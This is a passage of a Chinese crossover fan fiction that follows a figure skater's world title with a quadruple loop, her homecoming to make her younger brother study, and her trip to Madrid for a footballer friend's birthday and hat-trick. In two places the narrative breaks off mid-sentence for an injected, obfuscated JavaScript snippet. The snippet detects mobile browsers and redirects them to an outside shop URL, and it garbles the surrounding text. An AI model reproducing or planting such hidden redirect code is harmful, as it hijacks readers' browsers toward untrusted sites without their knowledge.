“没事吧?” 尤里的声音从旁边传来,语气硬邦邦的,但那双蓝绿色的眼睛里明显带着担心。 千穗龇牙咧嘴地爬起来。 “没事。” 尤里看着她,沉默了两秒。 然后他说: “……你起跳时重心就已经太靠前了,可以再调整一下。” 千穗愣了一下。 “……你怎么知道?” 尤里别过脸去。 “……我也打算练4Lo,问过维克托了,不行吗?” 维克托会现有的五种四周,但4Lo不是他的专长。 千穗挑眉,笑道: “那,不管这么说,谢谢了。” 尤里的耳朵红了。 “……哼。” . 第三次尝试,第四次尝试,第五次尝试—— 每一次都比上一次好一点,但距离“成功”,还有很长的距离。 千穗不记得自己摔了多少次。 在梦境空间里,她可以无限次尝试,不用担心受伤。但现实训练中,每一次摔倒都是真实的疼痛。 更别提她还要同步提高4F的成功率。 膝盖淤青了。 大腿后侧拉伤过一次,休息了三天。 脚踝也有点不舒服,北野宁宁盯着她冰敷了整整一周、甚至差点就打算让她别参加全日锦标赛了。 但她没有放弃。 因为她知道,这是她必须跨越的障碍。 . 4CC结束之后,千穗回国修整,去了一趟名古屋。 找到鴗鸟慎一郎晚上预约的冰场。 夜鹰纯在那里。 她到的时候,夜鹰纯正在冰上。 穿着一身黑色的训练服,头发比上次见面时长了一点,刘海微微盖住眼睛。 他在练跳跃。 不是普通的跳跃。 是4Lo。 千穗站在挡板边,看着他起跳、腾空、旋转、落冰—— 那一瞬间,她几乎忘了呼吸。 夜鹰纯的4Lo和李承吉的不一样。 李承吉的4Lo更有力量感,起跳时那种肌肉紧绷的感觉很明显,落冰的冲击力也很大。 但夜鹰纯的4Lo—— 更轻、更飘、更远。 他起跳的时候,仿佛不是在对抗地心引力,而是在借用它。右后外刃蹬在冰面的瞬间,他的身体像一片羽毛一样飘起来,然后在空中旋转四圈,最后—— 落冰。 他整个人稳稳地站在冰面上,连晃都没晃一下。 千穗愣在原地。 夜鹰纯滑到她面前,停下。 “……看清楚了?” 千穗点点头。 夜鹰纯没说话,只是伸出手。 千穗愣了一下,然后反应过来——他是要手机。 她把手机解锁、递给他。 夜鹰纯接过,点开录像功能,递给鴗鸟慎一郎。 然后他滑回冰场中央。 “拍。” 鴗鸟慎一郎无奈地举起手机。 夜鹰纯开始跳。 一次。 两次。 三次。 每一次都是4Lo,每一次都干净利落。 千穗站在挡板边,看着他一次又一次地起跳、腾空、旋转、落冰—— 忽然明白了他为什么要这样做。 教学。 他在用最直接的方式告诉她:4Lo可以这样跳。 不一定要用蛮力。 可以用技巧。 可以用感觉。 可以用—— 属于你自己的方式。 … 录像结束之后,夜鹰纯滑回她面前。 “懂了?” 千穗想了想。 “大概。” 夜鹰纯点点头。 然后他滑向出口,没要求她立刻试一下。 旁边的鴗鸟慎一郎将手机还给千穗。 “阿纯突然开始练4Lo,把我吓了一跳,原来是因为千穗啊。” 千穗也没想到。 她只是上个月跟夜鹰纯报备了自己准备学4Lo,对方当时也没什么反应,结果居然在退役六年、26岁这个年纪特意去练4Lo吗? 而且一个多月就练成了……不愧是《金牌得主》里拥有类似“鹰眼”技能的概念神。 她钦佩又感动地接过自己的手机,目光看向已经走出冰场换冰鞋的夜鹰纯。 然后她看见冰场边缘站着一个小女孩。 大约五六岁的年纪,黑色的头发扎成马尾辫,穿着黑色的训练服,正趴在挡板上,目不转睛地看着冰面。 ——看着夜鹰纯离开的方向。 “……是小光啊。”鴗鸟慎一郎也注意到了那孩子。 千穗明白了,这就是狼崎光、夜鹰纯的学生。 那孩子感受到他们的视线,转头望过来。 千穗朝她招招手,算是打招呼。 不等她回应,就由跟鴗鸟慎一郎鞠了鞠躬, “前辈,我就先走了~麻烦您替我向纯教练道谢~” 鴗鸟下意识道:“额,好。” 然后千穗头也不回地离开了这座场馆。 . 走出冰场的时候,外面的夜风有点凉。 千穗裹紧外套,抬头看了一眼天空。 名古屋的夜空星星不多,但有一颗很亮。 她深吸一口气,往车站走去。 面上却不自觉露出那种堪称兴奋的笑容、不,是渴望的、想要咀嚼食物将之吞噬的笑容。 她已经完全相信自己能在世锦赛跳出4Lo了。 所以。 真期待啊。 比赛、裁判、观众,还有……竞争对手们。 28.WC金牌 3月底,美国波士顿。 世界花样滑冰锦标赛。 洁千穗站在冰场边缘,最后一次检查冰鞋和考斯滕。 上一位选手引发的喧闹还停留在场馆中。但千穗只是深呼吸,感受自己的每一次心跳与脉搏。 “紧张吗?” 雅科夫的声音从旁边传来——男单比赛已经结束,米拉在千穗之前上场,他于是赶来陪千穗。 千穗摇摇头。 “不紧张,相反,我很兴奋。” 她笑起来,湛蓝的眼中好似闪着火光。 “……那就好。”觉得她今天有点不一样的雅科夫于是放心了。 旁边暂时担任陪护人员的雷奥尼多看着她,忽然笑了笑。 “千穗就没紧张过。” “因为没必要。” 她的语气带着极为少见的武断感。 “哦?”雷奥尼多有些意外,还想说什么,全看见千穗闭上眼睛,深呼吸。 他明白对方在做最后的调整,便闭上嘴。 千穗闭上眼后在想什么? 她想着夜鹰纯的4Lo——那种轻的、飘的、仿佛不受地心引力束缚的感觉。 她想着李承吉的4Lo——那种凛冽的、纯粹的力量感。 她想起自己摔过的每一次,疼过的每一次,爬起来继续练的每一次。 然后她睁开眼睛。 冰场的门推开,冷气扑面而来。 她踏上冰面。 ——音乐响起。 《红磨坊》。 . 编舞为了两个四周跳的改编进行了细节上的调整。 但那种张扬的、主宰般的感觉没有变。 甚至随着千穗几个月的突破、更上一层楼。 节目逐渐来到原本4S的位置—— 她换成了4F。 且不出意外地完成。 而原本4T的位置…… 由流畅地步法衔接、右后外刃切入冰面。 膝盖蓄力。 她能感觉到腿在抖——不是害怕,是那种即将突破极限的压迫感、一种从心理到生理的、无所畏惧的亢奋。 她起跳了。 右后外刃蹬在冰面的瞬间,她能感觉到那股力量从脚尖传到膝盖,从膝盖传到腰,从腰传到整个身体——她把自己抛向空中。 高速旋转、交给本能去达到足够的圈数。 然后身体开始下落。 冰面在视野里迅速放大。 最后一步、依旧是右后外刃—— 稳。 . 千穗的膝盖罕见地弯到最深,滑出弧线的手臂展开、勉力控制自己的重心。 稳住了、稳住……她稳住了! 她站在冰面上,维持着落冰的姿势,挤压最后一秒空隙换气。 4Lo。 她跳成了。 在国际赛场上。 在世锦赛上。 在所有人面前。 . 音乐还在继续。 还有跳跃。 还有旋转。 还有步法。 还有最后那个“抓住”的姿势。 掌声、欢呼、鲜花、玩偶、礼物…… ——一切完美无误。 . 洁千穗站在领奖台最高处,金牌挂在胸前,闪光灯在她脸上织成一片白茫茫的光网。 她低头看着那块金牌。 世锦赛金牌。 距离全满贯,还差—— 奥运会。 她抬起头,看向观众席。 那里。 有“恰好”来美国处理事物的迹部和赤司, 有从阿根廷赶过来的及川彻, 有带着家人来看比赛的御影夫人, 有拿下男单金银铜的尤里三人, 有约好来看她比赛的莱莉, 有许多参加比赛认识的男单女单选手…… 在现场的、没在现场的,都将被宣告她的荣耀。 . 一切结束。 千穗走出场馆的时候,手机震了好几下。 她掏出来看。 【纯前辈:245.87,新纪录】 【纯前辈:还剩一个】 千穗看着那两条消息,忽然想起莱莉说的话。 “和夜鹰纯一样,是冰上的大魔王。” 还剩一个。 当然是奥运会。 . 她正要把手机收进口袋,又一条消息弹出来。 【Sae:245.87】 【Sae:4Lo】 【Sae:很厉害】 千穗盯着他的消息。 哦豁,是“很厉害”。 她弯起眼睛。 【Chiho:谢谢】 【Sae:嗯】 【Chiho:你那边呢?最近怎么样?】 千穗本来以为对方会立刻回复,没想到却是沉默了许久。 【Sae:还行】 【Sae:在准备新赛季】 ……她感受到一种不愿讨论的气息。 【Chiho:发生了什么?】 虽然心中隐约有猜测,但千穗选择直接问。 最次对方回复特别快、甚至连发好几条,一点准备时间都不给她。 【Sae:没事】 【Sae:[图片]】 【Sae:西乙联赛】 【Sae:8月份开始】 【Sae:[图片]】 【Sae:比赛有我,票给你留了】 【Sae:来吗?】 千穗被他不符合以往的连发弄懵了。 【Chiho:哦,我当然来】 【Chiho:你去年、就去青训营的第二年就被选为替补了吧?今年就上场了,不愧是你!】 她删删改改好久才把消息发出去。 结果冴就回了个“嗯”。 千穗等待。 状态栏提示“对方已下线”。 千穗:? [——我哪里没说对触他雷点了???] 【不用管他】白鸦冷漠道。 [哦……] . 虽然白鸦说不用管他,但千穗还是蛮在意的。 只是现阶段最重要的在波士顿跟莱莉玩几天、顺便拉着米拉和萨拉帮她庆生。 顺便说一下,维克托和勇利在约会呢,两人对这次比赛结果都很满意。 尤里这次没能实现上个月的诺言赢过那两人恼火了很久,看见她包含4Lo的自由滑节目倒是冷静了不少,最近也在练这个跳跃——和他的难得的好友奥塔别克一起。 而千穗下阶段的计划,是找以勾手四周跳著名的瑞士选手克里斯托夫.贾科梅蒂学习。 去年就和他要了联系方式,就是不怎么聊天、也不咋看对方“朋友圈”。 主要是千穗实在无法理解对方发的各种“性感”主题的照片,训练旅游记录生活的还好。 幸好克里斯性格比较自来熟,很乐意教她,还把J.J也拉来了。 加拿大选手让·雅克·勒鲁瓦,他大奖赛被“决赛恶魔”吞没,拿了铜牌,4CC和勇利一起竞争调整好心态拿了银牌。 到现在世锦赛,他再次和大奖赛几乎相同的对手同台,问题略有复发,发挥比大奖赛好。 只是,对手们也同样进步了、还有复出的维克托这座大山,克里斯(他欧锦赛铜牌)也因为再次和维克托以及更多优秀选手竞争状态从一开始就拉满,JJ遗憾第五。 JJ很热情地要求包括尤里在内的一众人来加拿大玩。千穗在此期间跟着系统指引碰上了冰场隔壁滑雪场的驰河兰加。 兰加的妈妈也喜欢看花滑比赛啊。 这个时候,他的父亲还没过世。 …… …… 国外待了快五个月,洁千穗终于要回家了。 回家第一件事—— “督促世一学习~” 洁世一站在玄关,看着姐姐从行李箱里搬出来的那摞资料,脸上的表情从“姐姐欢迎回家”的喜悦,逐渐变成“姐姐你认真的吗”的惊恐,最后定格在“我可能活不过这个学期”的安详。 “……姐姐。” “嗯?” “这是什么?” “复习资料啊。”千穗理所当然地说,拍了拍那摞书的封面,“4CC的时候我在中国看了许多那边口碑最好的教辅,结合我们这里的辅导资料,专门找人整合改编、印成适合你的版本哦。” (此处白鸦得MVP) 世一沉默了两秒。 “……多少本?” “没数。”千穗想了想,“大概……三十多本?加上习题集的话可能四十多吧。” 世一安详躺平.jpg。 “姐姐,”他有气无力地说,“我才刚国三第一学期。距离升学考还有一年多。” “所以更要提前准备啊。”千穗蹲下来,和他平视,“你看姐姐我,平时训练那么忙,不也考上白鸟高校了?” 世一:“……” 这是他能比的吗?! “而且,”千穗继续说,语气里带着点小小的得意,“白鸟高校的偏差值可是很高的哦。姐姐我可是以年级第一的成绩考进去的呢。” 世一默默地看着她。 他想起去年姐姐回来考试的时候,班主任那个“你确定你有在认真训练吗”的表情。 他想起以前公布期末成绩的时候,全校都总会流传“那个花滑选手洁千穗又考了年级第一”。 他想起那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345616|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑来问他“你姐姐是怎么做到的”的同学。 “…姐姐,”他虚弱地说,“你是在炫耀吗?” 千穗眨眨眼。 “没有啊。”她笑得一脸无辜,“我只是在陈述事实。” 世一:“……” 旁边的洁母从厨房探出头来,看见玄关这一幕,忍不住笑了。 “世一,你姐姐说得对,成绩还是要抓紧的。” “妈——!” 洁父从客厅走出来,手里拿着报纸,笑呵呵地拍了拍儿子的肩膀。 “加油,爸爸相信你。” 世一看着那摞比他膝盖还高的复习资料,又看看一脸“我是为你好”的姐姐,再看看笑呵呵的父母。 他深吸一口气。 然后他看向千穗。 “姐姐。” “嗯?” “你是认真的吗?” 千穗歪了歪头。 “当然啊。”她说,语气轻快得像在说今天天气不错,“这些可是我特意给你挑的。数学、英语、国语、理科、社会——每一科都有。还有一些综合题集,可以帮你查漏补缺。” 她顿了顿,又补充道:“如果你做完了,我还可以让宁宁姐再印其他的给你送过来。” 世一:“……” 做完了。 还可以送别的。 他突然觉得人生一片灰暗。 “对了,”千穗像是想起什么,从口袋里掏出手机,“我还加了你们班主任的LINE。她说你最近数学有点下滑,让我多督促督促你。” 世一瞪大眼睛。 “你什么时候加的?!” “就刚才啊。”千穗理所当然地说,“我回家之前先去学校拜访了一下,跟老师聊了聊你的情况。” 世一安详躺平.jpg×2。 “姐姐,”他艰难地开口,“你这样会没有弟弟的。” 千穗笑起来。 她站起身,走到世一面前,伸手揉了揉他的脑袋——虽然现在得抬高手,但没关系,她已经习惯了。 “好啦好啦,”她说,语气软下来,“我知道你学习也挺辛苦的。但是你看,姐姐我训练也很辛苦啊,不也照样考得不错吗?” “而且,我会陪你划重点的,你定期汇报学习进度我来删减题目就行,不是真的全都写完。” 洁世一站在玄关,听着姐姐的话,有点没反应过来。 “陪我划重点?”他重复了一遍,“定期汇报进度?删减题目?” “对啊。”千穗放下手,点点头,声音带小,“我又不是魔鬼,怎么可能让你一口气写完四十本。那不合理,也不科学。” 世一:“……你刚才可不是这么说的。” “刚才是在吓你。”千穗眨眨眼,“效果不错吧?” 世一:“……” 他觉得自己被姐姐玩弄于股掌之间。 千穗看着他略显无语的表情,笑意加深。 “我也是想趁现在我还在家里多和你相处一下、多关心你点。”她的声音比刚才轻了一点,那双蓝眼睛里有什么柔软的东西在闪烁,“毕竟我练花滑、你踢足球,在热爱的事物上可大不相同啊。” ……世一看着她。 姐姐站在玄关的灯光下,头发比离开时长了一点,脸上的线条也比以前更分明了。十六岁,已经是世界级冠军,被无数人追捧,被媒体称为“冰上的王者”。 但此刻站在他面前的,只是姐姐。 会吓他、会揉他脑袋、会给他准备复习资料的姐姐。 “……姐姐。” “嗯?” 世一张了张嘴,想说点什么,但话到嘴边又不知道该怎么表达。 最后他只是伸出手,一把抱住她。 千穗被抱了个满怀,愣了一下。 “喂喂——” “姐姐。”世一的声音闷在她肩膀上,“欢迎回家。” 千穗的动作顿住了。 然后她笑了。 柔软的、与在冰面上绝对掌控时完全不同的笑容。 她伸手,回抱住他。 “嗯,我回来了。” . 旁边,洁父看着这一幕,脸上的笑容更深了。 他把报纸折好放在鞋柜上,大步走过来,张开双臂,把两个孩子一起搂进怀里。 “好了好了,”他说,声音带着笑意,“都回来了就好。先吃饭,吃完饭再慢慢聊。” 世一被夹在中间,发出抗议的声音。 “爸——好挤——” 千穗在旁边笑出声。 洁母从厨房探出头,看见这一幕,脸上的表情柔和得像化开的蜂蜜。 “都别闹了,”她说,“快过来,饭要凉了。” 洁父松开手,拍了拍两个孩子的肩膀。 “走吧,吃饭。” 29.10月10日 在日本待了四个多月,九月初洁千穗接受雅科夫那边的邀请,将和尤里他们一起去意大利贝加莫、参加去年刚被纳入国际滑联花样滑冰挑战系列赛体系的伦巴杯,“活动活动筋骨”。 后面还有中下旬在德国奥伯斯多夫举办的雾迪杯,十月初旬芬兰赫尔辛基的芬兰杯也打算参加。 没有什么比比赛更好的训练了。 加拿大的秋季经典赛就算了,时间太赶,而且那基本算属于北美选手的热身赛(不过勇利打算参加来着)。 ——赫尔辛基的某家高档餐馆。 ——“金牌、金牌、金牌!你这家伙全都是金牌啊!” 尤里咬牙切齿,拿着叉子戳戳戳。 刀具与磁盘摩擦发出刺耳的“滋啦”声。 他自己被意大利本土选手米凯莱·克里斯皮诺(去年大奖赛俄罗斯分站的对手)赢下了伦巴杯的金牌,在历史最悠久的B级赛事雾迪杯又被瑞士的克里斯托夫赢走了金牌,可以说憋着一肚子的不甘与火气。 只有在芬兰杯赢过维克托拿下冠军,他才终于舒服了。 结果千穗这里保持了永远站在领奖台最中间的成绩,让他有种微妙的输了的感觉。 “明明已经有升组的女单选手出4S、4T了,但还是让小千赢了啊。” 收获一银一铜的米拉心情复杂,她自己都能稳定出4S了。 “毕竟,我可是把4Lz都用上了啊。” 千穗笑着眨眨眼。 “千穗要是体力再好一点,就能去参加男单比赛了吧。” 只拿了一枚铜牌、但是和前女友复合的格奥尔基摇着酒杯感慨。 “那样的话就要被怀疑还是不是人类了吧。”已经完美融入雅科夫组的勇利吐槽。 他秋季经典赛赢过维克托拿了金牌,但芬兰杯自由滑失利遗憾第四。 维克托在旁边摇着头,笑起来调侃道: “千穗从没在正式比赛上摔倒过,已经被怀疑不是人类了呢。” 他只参加了芬兰杯和秋季经典赛,都没拿下金牌。 网上媒体已经开始出现“或许属于维克托的时代已经结束”的报道了,但他本人却欣然接受(千穗觉得他个过完今年生日就已经29岁、奔30去的人,现在参加比赛还能拿奖已经很了不起了)。 “练习时已经摔得够多了,冰面上我绝对不允许自己失误。”千穗理所当然道。 “不愧是‘冰上的大魔王’啊~”米拉调侃。 这个称呼是从对退役的莱莉的最新一次采访中传出的,现在越传越广。 “米拉。”千穗无奈。 “不喜欢这个称呼吗?”米拉耸耸肩,把桌上的罗宋汤拿到自己面前,“我觉得很酷哦。” 尤里默默点头。 其他人也一副认同的样子。 “你们……算了。”千穗叹气。 “对了,我就不跟勇利维克托回日本了。” 她转换话题。 “那跟我们回俄罗斯?” 格奥尔基问。 千穗摇头,“我先去一天西班牙,朋友过生日了。” 正在切牛排的勇利好奇: “我记得千穗有个朋友在马德里踢球吧,是看望他吗?” “嗯,他这个月10号过生日。” “哦——”维克托拖长声音,蔚蓝色的眼睛里闪着八卦的光,“专门飞去给朋友过生日,千穗真温柔呢~” 千穗面无表情地看着他。 “让勇利给你科普下幼驯染吧。” “我知道我知道。”维克托笑眯眯地点头,“是从小认识的朋友,确实值得专门飞去给他过生日,很正常很正常。” “……你这话听起来一点都不正常。” 维克托笑得更灿烂了。 “无聊。”旁边的尤里哼了一声,终于好好对待他的食物了,一副对这些不感兴趣的样子。 千穗决定不去管他们,自己吃自己的。 … … 从赫尔辛基飞往马德里的航班上,洁千穗靠在窗边,看着窗外逐渐变小的北欧城市。 十月初的芬兰已经很冷了,但飞机升上云层之后,阳光就变得格外刺眼。 她眯着眼睛,脑子里还在回放芬兰杯的画面。 尤里赢维克托的那一瞬间,整个冰场都沸腾了。那个金色的少年站在冰面中央,仰着头,胸口剧烈起伏,然后—— 然后他看向教练席的方向。 看向雅科夫。 看向莉莉娅。 然后,看向她。 那双蓝绿色的眼睛里,有赢了维克托的兴奋,有不甘终于释放的痛快,还有—— 千穗当时没看懂。 现在也不懂。 但无所谓。 她收回思绪,低头看了一眼手机。 上面仍停留在她登机前和冴对话的界面。 【Sae:几点到?】 【Chiho:四个半小时,大概下午三点到】 【Chiho:你训练结束了?】 【Sae:嗯】 【Sae:在机场等你】 千穗当时有些惊讶。 在机场等她吗? 她记得上次去马德里的时候,他是让发消息到了再出来的。 这次居然提前去机场了。 ……千穗往下翻。 【Chiho:你今天没有训练吗?】 【Sae:请了假】 请假啊。 可把她震惊坏了。 【Chiho:……你认真的?】 【Sae:嗯】 【Chiho:为什么?】 对面怎么回答的? ——【Sae:你不是来看我比赛吗】 千穗:“……” 直到现在,她都不知道怎么回复好。 “你不是来看我比赛吗”。 意思是,因为她要来看比赛,所以他请假来接她? 这逻辑好像不太对…… 但千穗不打算想了。 她把手机收进口袋,靠在座位上,看着窗外刺眼的阳光。 . 马德里机场。 千穗拖着行李箱走出到达通道的时候,一眼就看见了那个熟悉的身影。 糸师冴站在人群中,穿着略时尚的保暖衣(千穗估计是赞助商给的),脖子上围着那条藏青色的围巾,小豆色的头发在机场的灯光下格外显眼。 糸师冴显然也注意到了她,穿过人群来到她面前,站定。 “……来了。” 千穗却只是盯着他的发型看了两秒。 刘海梳上去了。 露出完整的额头。 不是以前的齐刘海了。 配上那张依旧没什么表情的脸—— “怎么了?”冴问。 “没什么。”千穗收回视线,嘴角却忍不住弯起来,“就是觉得,你这个新发型挺酷的。” 冴沉默了一秒。 “……就这个?” “就这个。”千穗点点头,“以前齐刘海的时候像乖巧学弟——虽然并不乖巧——但现在嘛~” 她顿了顿,上下打量他一眼,“很成熟呢,很凌厉呢。” 冴只是淡淡地嗯了一声,然后伸手接过她的行李: “走吧。” “好嘞~” 千穗跟上。 . 两人并肩往停车场走(冴租了车)。 冴拖着行李箱走在旁边,步子不快不慢,和她保持一致。 “你怎么想到来接我了?”千穗问,“以前不都是让我自己过去吗?” “今天请假了。” “我知道,你说了。”千穗侧头看他,“但为什么?” 冴看了她一眼。 然后用与几个小时前相同的说辞回答说: “你不是来看我比赛吗。” 千穗:“……” 算了,他看着不想说,她就不问了。 . 冴现在住在离训练基地很近的单人公寓,据他说是不想再跟人同住多人间了(虽然青训营的宿舍算得上豪华)。 千穗第一次来这个单人公寓。 这里比千穗想象中宽敞。 一室一厅的格局,客厅不算大,但收拾得很干净。沙发是深灰色的,茶几上摆着几本足球杂志,电视柜旁边放着一台老式放映机——看起来没怎么用过,积了薄薄一层灰,大概是公寓的原物品。 “随便坐。”冴把行李箱靠在墙边,从冰箱里拿出一瓶水递给她。 千穗接过水,在沙发上坐下,打量着四周。 厨房区域很整洁,灶台上甚至没有油渍的痕迹。冰箱门上贴着一张训练时间表,密密麻麻写满了日程。窗台上摆着一个小巧的加湿器,正往外冒着细细的水雾。 “就你一个?” “嗯。”冴在对面坐下,“这栋公寓其他几户都是比我大几岁的球员,西班牙人、巴西人、阿根廷人……很多。” 千穗点点头,目光落在茶几上的一本杂志上。 封面上是足球运动员,她认得那张脸——诺埃尔·诺亚,世一的偶像,拜塔·慕尼黑的王牌。 “你订的?” “租公寓时房东给订的。”冴的语气淡淡的,“大概以为我们需要看。” 千穗笑了笑。 “那你看吗?” 冴瞥了眼杂志,“不如分析录像。” “哦。”千穗翻了翻,发现杂志有些折痕。 他大概还是会看的。 . “饿了吗?”冴站起身,“附近有家餐厅不错,比前年那家味道更好。” “好啊。”千穗也跟着站起来,“不过——你先睡一觉。” 冴的动作顿住了。 “……什么?” “睡觉。”千穗指了指窗外,“现在才四点,晚饭还早。你刚从训练场回来吧?先睡一个小时,起来再去吃饭。” 冴看着她,没说话。 千穗知道他在想什么。 “别跟我说你不累。”她说,“你眼袋都快掉到下巴了。” “……没那么夸张。” “就是有。”千穗走过去,在他面前站定,“过生日就好好休息一下嘛,又不会怎么样。” 冴垂眼看她。 那双绿色的眼睛里,有疲惫,有无奈,还有一点—— 千穗说不清是什么。 但最后,他只是叹了口气。 “……一个小时。” “好,一个小时。” . 冴走进卧室,关上门。 千穗重新坐回沙发上,掏出手机,给家人报平安。 【Chiho:到马德里了,在冴的公寓】 【小草:?!!】 【小草:姐姐去冴哥的公寓了???公寓怎么样?你要睡那里吗?】 千穗看着那连串问题,忍不住笑。 【Chiho:公寓挺干净的,我有预约酒店】 【Chiho:你作业写完了吗?】 【小草:……】 【小草:姐姐,我刚关心完你,你就问我作业】 【Chiho:嗯,关心完了就该关心你的学业了】 【小草:我写完了!!!】 【小草:凛可以作证!我们视频一起写的!】 千穗挑眉。 【Chiho:你们俩一起视频写作业?】 【小草:对啊,这样可以互相监督,效率高】 千穗想了想那两个小的——一个国三一个国二——一起视频写作业的样子。 画面感突然就来了。 【Chiho:行吧,那你们继续监督,我先休息会儿】 【小草:好!姐姐晚安!】 千穗看了眼时间——日本那边应该是凌晨。 这小子,这么晚还没睡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350470|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她收起手机,靠在沙发上,闭上眼睛。 客厅里很安静,只有加湿器细微的嗡鸣声。 窗外的阳光透过窗帘的缝隙漏进来,在地板上落下一道细细的光痕。 一个小时。 她设了个闹钟,然后也让意识沉入黑暗。 . 闹钟响的时候,千穗睁开眼睛。 客厅里的光线已经暗了一些,窗外的夕阳把天空染成暖橙色。 她坐起身,揉了揉眼睛,看向卧室的方向。 门还关着。 她等了一会儿。 没动静。 又等了一会儿。 还是没动静。 千穗站起身,走到卧室门口,轻轻敲了敲门。 “冴?” 没人应。 她又敲了两下。 “一个小时到了。” 里面传来一点细微的动静——像是翻身的窸窣声,然后又安静了。 千穗叹了口气。 她推开门,探进半个脑袋。 卧室里光线更暗,窗帘拉得严严实实。床上那个人裹着被子,只露出一小撮小豆色的头发。 “……冴。” 没反应。 千穗走进去,站在床边,低头看他。 睡得很沉。 呼吸平稳,眉头微微皱着,但比醒着的时候柔和多了。 她忽然想起刚才在客厅里看见的那张训练时间表——从早上六点开始,一直到晚上九点,中间只有吃饭和午休的时间。 ……这什么大陆高中生的作息。 千穗站在床边,看着他。 过了几秒,她轻手轻脚地退出房间,把门带上。 . 一个半小时后。 卧室门终于打开了。 冴走出来,头发有点乱,身上的衣服换过了,脸上的表情比下午的时候柔和了一点——虽然还是那副淡淡的模样。 “怎么没叫我?” “叫了。”千穗窝在沙发上,头也不抬地刷手机,“你没醒。” 冴沉默了一秒。 “……睡了多久?” “两个半小时。” 冴没说话。 千穗抬起头,看着他。 “醒了就好,走吧,去吃饭。” . 餐厅是冴提前订好的,一家藏在巷子深处的西班牙餐馆,据说海鲜饭是马德里最好吃的。 千穗坐在靠窗的位置,翻着菜单,偶尔问冴几句西班牙语的意思。 冴一一回答,语气比平时温和一点——大概是因为刚睡醒。 点完菜,千穗托着下巴看他。 “你最近很累?” 冴顿了一下。 “……还行。” “还行?”千穗挑眉,“眼袋那么重,这叫‘还行’?” 冴没说话。 千穗看着他,想了想,决定换一种方式问。 “训练强度加大了?” “嗯。” “语言关还没完全过去?” “已经三年了。”言下之意是早过去了。 “和队友相处怎么样?” 冴偏了偏头。 “一般,不是什么重要的事。” 千穗叹了口气。 “你这话,”她说,“从六岁说到现在,就不能换点别的吗?” 冴看了她一眼。 “你话太多。” “我话多也是关心你。”千穗理直气壮,“不然你以为谁乐意问你这些?” 冴没说话。 但千穗注意到,他的嘴角动了动。 ……笑了呢。 . 菜上来了。 又是海鲜饭、烤鱿鱼、蒜香虾、伊比利亚火腿——眼熟的、大概率不会出错的经典料理。 千穗本来没报什么期待。 结果刚尝了一口海鲜饭,眼睛亮了。 “好吃!” 冴看着她,没说话。 千穗边咀嚼边问: “你怎么不吃?” “吃。” 他拿起勺子,开始吃。 . 吃到一半,千穗忽然想起什么,从包里掏出一个小盒子。 “喏。” 冴接过来,打开。 是一对护踝。 黑色的,材质摸起来很舒服,内侧绣着两个小小的字母:S·I。 “定制的?”他问。 “嗯。”千穗点点头,“我在俄罗斯的时候认识一个专门做运动护具的师傅,就让他帮忙做了一对。你踢球的,脚踝同样是最重要的,要小心保护。” 冴盯着那对护踝,不知道在想什么。 然后他抬起头。 “谢谢。” 千穗弯起眼睛。 “不客气~” 她想了想,又补充道: “这可是我送你的生日礼物,一定要用哦。” 冴把护踝收好。 “知道了。” . 吃完饭,两个人走在夜晚的马德里街头。 近十月中旬的夜晚已经有点凉了,冴把围巾往上拉了拉,依旧是她送的那条。 千穗走在他旁边,偶尔看看街边的橱窗。 “你明天什么安排?”她问。 “上午训练,下午休息。”冴顿了顿,“你呢?” “和你相反,我上午睡觉休息,下午去经纪人约好的冰场练习。” “哦。” 然后冴没声音了。 两人沉默着回到公寓—— 北野宁宁抱胸,站在楼下。 看见千穗,表情微妙。 ……千穗才想起来,除了冰场外,来之前她还和经纪人约定其他事。 指,对方先到马德里订酒店,然后她七点半和经纪人汇合。 现在已经八点多了。 千穗尴尬地摸了摸鼻子。 30.帽子戏法 总之,千穗拖着行李箱跟着经纪人回了酒店。 第二天大睡特睡放松了下,然后下午去训练。 晚上继续和糸师冴一起吃饭,还见到了他请的家政服务人员、总算搞清这家伙怎么在略低的生活能力下过好的。 从今年年初开始,越来越多的人注意到他,估计再过不久他就要有经纪人了。 顺便一提,冴的状态比刚见面那一天好多了。 千穗能理解。 毕竟,第三天,是比赛日。 ——西乙联赛,RE·AL的队伍对另一支球队,据说都是年轻球员。 千穗坐在观众席上,位置是冴提前留的,是左侧正中央的第三排靠过道处,视野很好,周围人也不多。 可以确定这是他钟爱的座位。 比赛开始的时候,冴站在阵营代表中场的位子,表情和平时没什么两样。 10号球衣。 ……中锋、影锋,还是前腰??? 她不想去思考这些。 . 上半场第23分钟,冴接队友传球,在禁区前沿起脚——球进了。 第41分钟,又是他,从后场带球突破,连过三人,再次破门。 下半场第67分钟,角球开出,冴在人群中高高跃起,头球攻门——3:1。 帽子戏法。 . 比赛结束的时候,整个球场都沸腾了。 有人在喊他的名字,有人在鼓掌,有人举着他的照片使劲挥舞。 冴站在场上,表情是她在他身上极少见到的、又分外熟悉的激奋。 但很快恢复了往日的冷静淡漠。 千穗隐约感觉,他朝观众席的方向看了一眼。 千穗替他高兴的同时,也有些难过。 她搜过所有赛程了,有那个叫邦尼·伊格莱希亚斯的超级新人球员,在“FC巴查”俱乐部、这个世界的巴萨。 冴很可能已经跟对方踢过了。 【别去管这些,那是他的事情】白鸦依旧默然。 ……那是他必须经历的。 千穗想着,离开了观众席。 . 